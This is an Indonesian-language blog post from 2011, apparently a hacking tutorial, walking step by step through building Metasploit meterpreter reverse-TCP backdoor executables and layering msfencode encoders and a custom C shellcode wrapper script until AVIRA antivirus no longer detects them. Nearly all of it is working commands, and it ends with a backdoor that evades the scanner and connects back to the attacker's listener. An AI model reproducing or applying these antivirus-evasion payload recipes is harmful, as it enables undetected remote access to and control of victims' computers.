Searching...
December 17, 2011
Saturday, December 17, 2011

[INSANE] Encoding Virus to Bypassing 80% Anti-Virus

CMetasploit dan Anti-Virus. Layaknya air dan minyak, mereka tidak bisa disatukan. Selalu ada cara untuk saling menjatuhkan. Beberapa minggu yang lalu, kita sudah menguji SMADAV dalam menangani backdoor yang dibuat oleh metasploit, dan hasilnya. SMADAV gagal. Ini menjadi pelajaran yang berarti untuk programmer anti-virus lokal, dimana exploitasi bisa terjadi tanpa memanfaatkan vulnerability sebuah OS, atau memanfaatkan celah port 445 yang terbuka.

Pada kesempatan kali ini, kita akan menguji AVIRA. AVIRA bukanlah produk lokal, dan AVIRA menganut system update, dimana database AVIRA selalu diperbaharui untuk mencegah virus baru melewati system pemindaian mereka.

Langsung saja kita menuju tahap pengujian.

Preparation:
Attacker:
1. Metasploit
2. Apache 2

Victim:
1. AVIRA

Goal:
1. Buat payload dengan msfpayload, dan encode dengan msfencode untuk melewati system keamanan AVIRA

Walkthrough:
1. Buka terminal, lalu ubah work directory kita menjadi metasploit directory:

Command :
root@ASUS:~# cd /opt/metasploit/msf3/

Cek msfencode anda. Untuk bantuan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -h


Untuk melihat daftar encoder yang dapat digunakan, masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# ./msfencode -l



Ok. Pastikan service apache sudah berjalan. Masukan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# /etc/init.d/apache2 start

Catatan:
Setiap payload yang kita buat, akan kita tempatkan pada directory   /var/www. Cobalah untuk menghindari system copy-paste ke VM-ware, mengingat hal ini dapat menyebabkan VM-ware hanging/crash. Lalu bagaimana agar kita dapat menguji payload kita untuk di-scan dengan AVIRA? Mudah saja. VM-ware memiliki interface network khusus bernama vmnet8, dan IP address anda adalah 172.16.60.1. Untuk memperoleh payload, gunakan browser yang tersedia pada VM-ware anda, dalam tutorial kali ini, saya menggunakan browser Mozilla Firefox. Anda juga bisa menggunakan Internet Explorer. Masukan http://172.16.60.1/nama-exploit-anda pada browser untuk memperoleh payload anda.

PAYLOAD 1
Kali ini saya coba dengan payload standar dengan msfpayload, tanpa di-encode menggunakan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 X > /var/www/exploit1.exe


Keterangan:
LHOST = IP address anda
LPORT = PORT Listener anda

Catatan:
Selalu simpan payload kita pada direktori /var/www dan usahakan gunakan nama yang berbeda untuk setiap payload yang kita buat!

Hasil test:

GAGAL

PAYLOAD 2
Kegagalan pertama itu wajar. Mari kita buat payload lain kemudian kita encode dengan msfencode.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -t exe > /var/www/exploit2.exe

Keterangan:
1. Saya menggunakan encoder x86/shikata_ga_nai, dan melakukan encoding sebanyak 1 kali.


Hasil test:


GAGAL

PAYLOAD 3
Jangan menyerah, kali ini kita akan buat encoder menggila!

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 16 -b '\x00\xff' -t exe > /var/www/exploit3.exe


Hasil:

GAGAL

PAYLOAD 4
Bagaimana jika kita gunakan  2 encoder? Shikata_ga_nai dan jmp_call_additive.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t exe > /var/www/exploit4.exe



Hasil:

GAGAL

PAYLOAD 5
Sekarang kita gunakan 3 encoder. Ini semakin gila [untuk beberapa orang]. Namun bagi saya tidak. =T
Kita akan gunakan Shikata_ga_nai, jmp_call_additive, dan call4_dword-xor.

Command :
root@ASUS:/opt/metasploit/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.60.1 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 4 -b -t raw | ./msfencode -e x86/jmp_call_additive -c 4 -t raw | ./msfencode -e x86/call4_dword_xor -c 4 -t exe > /var/www/exploit5.exe


Hasil:

GAGAL

Kelihatannya anti-virus kita cukup gigih dalam menangani payload yang kita buat. Ok. Sekarang kita coba dengan metode yang agak gila. Dan memang ini gila. Karena kita akan melakukan encoding manual tanpa bantuan msfencode.

Konsep:
Kita akan melakukan encoding payload dengan bahasa pemrograman C.
Kurang lebih seperti ini payout payload kita:

s/+/ /g
s/buf = /unsigned char micro[]=/g
#include <stdio.h>
unsigned char ufs[]=
(( i=1; i<=10000;i++ ))
s/$/"/
s/^/"/
int main(void) { ((void (*)())micro)();}
unsigned char tap[]=
(( i=1; i<=999999;i++ ))
s/$/"/
s/^/"/

Terlihat membingungkan? Jika anda merasa tidak sanggup mengikuti tahap lanjut encoding, jangan tinggalkan halaman ini dulu. Saya akan berikan cara yang jauh lebih mudah ketimbang melakukan encoding cara manual. Saya telah mempersiapkan script untuk melakukan encoding ini. Anda bisa download di sini.

Namun sebelumnya, anda harus mendownload file ini untuk membantu anda dalam melakukan encoding menggunakan bahasa C.

root@ASUS:~# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils

Setelah mendownload file vanish.sh, pindahkan file ini ke direktori metasploit, dan ubah modenya agar bisa dieksekusi.

Dalam tutorial kali ini, saya menggunakan vmware, sehingga interface network saya adalah vmnet8. Sekarang saatnya menguji payload kita.

LAST PAYLOAD!

Command :
root@ASUS:/opt/metasploit/msf3# ./vanish.sh



Karena saya menggunakan VM-ware dalam test ini, jadi saya menggunakan interface vmnet8. Jika anda menggunakan modem, maka pilih interface ppp0, jika anda menggunakan wireless network, gunakan interface wlan0, jika anda menggunakan wired connection, gunakan interface eth0.


Gunakan port 4444 sebagai port listener. Port listener bisa anda tentukan sesuka hati, dengan syarat, jangan gunakan port yang sudah digunakan oleh service lain, misalkan port 80 yang digunakan oleh apache. Ini akan mengakibatkan metasploit tidak bisa melakukan listening pada port tersebut.

Untuk jumlah seed, saya menyarankan untuk memasukan angka 7000, dan untuk jumlah encoding, masukan angka 14.

Tunggu sampai proses encoding selesai, hingga muncul tampilan metasploit seperti ini:


Berhasil. Payload kita dibuat dengan nama backdoor.exe pada folder seclabs. Copy payload kita ke direktori /var/www dengan perintah berikut:

Command :
root@ASUS:/opt/metasploit/msf3# cd seclabs/ && cp backdoor.exe /var/www/exploit6.exe

Kemudian kita uji dengan melakukan scanning anti-virus.
Hasil:

BERHASIL

Tidaklah sulit melewati AVIRA. Lalu, apakah file ini berfungsi sebagaimana mestinya? Jalankan saja file tersebut, kemudian cek kembali metasploit kita.


SUKSES

created by:
red-dragon

5 comment:

Post a Comment

 
Back to top!